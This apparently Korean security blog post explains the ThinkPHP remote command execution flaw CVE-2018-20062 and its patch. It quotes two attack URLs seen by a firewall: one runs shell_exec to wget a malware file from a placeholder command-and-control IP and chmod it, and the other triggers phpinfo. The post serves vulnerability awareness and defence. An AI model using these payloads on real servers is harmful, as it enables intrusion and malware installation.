IT Security/Vulnerability

취약점) ThinkPHP 프레임워크 원격명령실행 취약점(CVE-2018-20062)

로픽 2019. 1. 28. 18:53
300x250

ThinkPHP 프레임워크 취약점(CVE-2018-20062)


( ThinkPHP 원격 코드 실행 취약점(CVE-2018-20062) POC )




* Think PHP란?

 - 중국기업 탑씽크에서 개발한 아파치2 기반의 PHP 프레임워크.
 - 중국 40,000개 이상의 서버가 Think PHP를 통해 서버를 구동.
 - 해당 프레임워크의 경우 중국이 개발하여 아시아권에서 많이 사용.



* 취약점 : CVE-2018-20062


 - 해당 취약점의 경우 원격명령실행을 할 수 있음.
 - url에서 컨트롤러 클래스명의 유효성이 검증되지 않아 강제 라우팅 옵션을 사용하지 않고 getshell 취약성을 유발한다.


EX) WAF에서 탐지된 Think php 공격코드

 1) 컨트롤러 클래스 app을 통한 원격명령실행
  /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://(C&C_IP)/(악성코드파일);chmod (권한 설정 및 악성코드파일)

  - think php의 경우 '/' 기준으로 파싱을 진행
  - 만약 '\'를 이용하면 think 내에 컨트롤러 클래스 app를 생성하여 invokefunction 메소드를 통해 원격명령 실행가능.


 2) 컨트롤러 클래스 request을 통한 원격명령실행

  ?s=index/\think\request/cache&key=1|phpinfo

  - request 컨트롤러 클래스를 통해서 원격코드 명령어 실행가능


* 취약점 해결방안

 - 해당 취약점의 경우 2018 12월 보안업데이트를 통해서 해결이 되었음. (정규표현식에서 '\' 필터링을 통해서 해결)

 - ThinkPHP 버전 5.0.23 또는 5.1.31로 업데이트를 하는 것은 권장.

 - 최근 해당 공격이 많이 WAF를 통해 많이 탐지되고 있으며, 국내는 ThinkPHP를 사용하시는 분은 많이 없지만 사용하신다면 주의가 필요합니다.


참고사이트

https://www.boannews.com/media/view.asp?idx=76245 (보안뉴스 - 아시아에서 인기 높은 PHP 프레임워크에서 취약점 발견)

https://securitynews.sonicwall.com/xmlpost/thinkphp-remote-code-execution-rce-bug-is-actively-being-exploited/ (sonicwall - 상세한 취약점에 대한 분석 및 취약점코드 게시)





반응형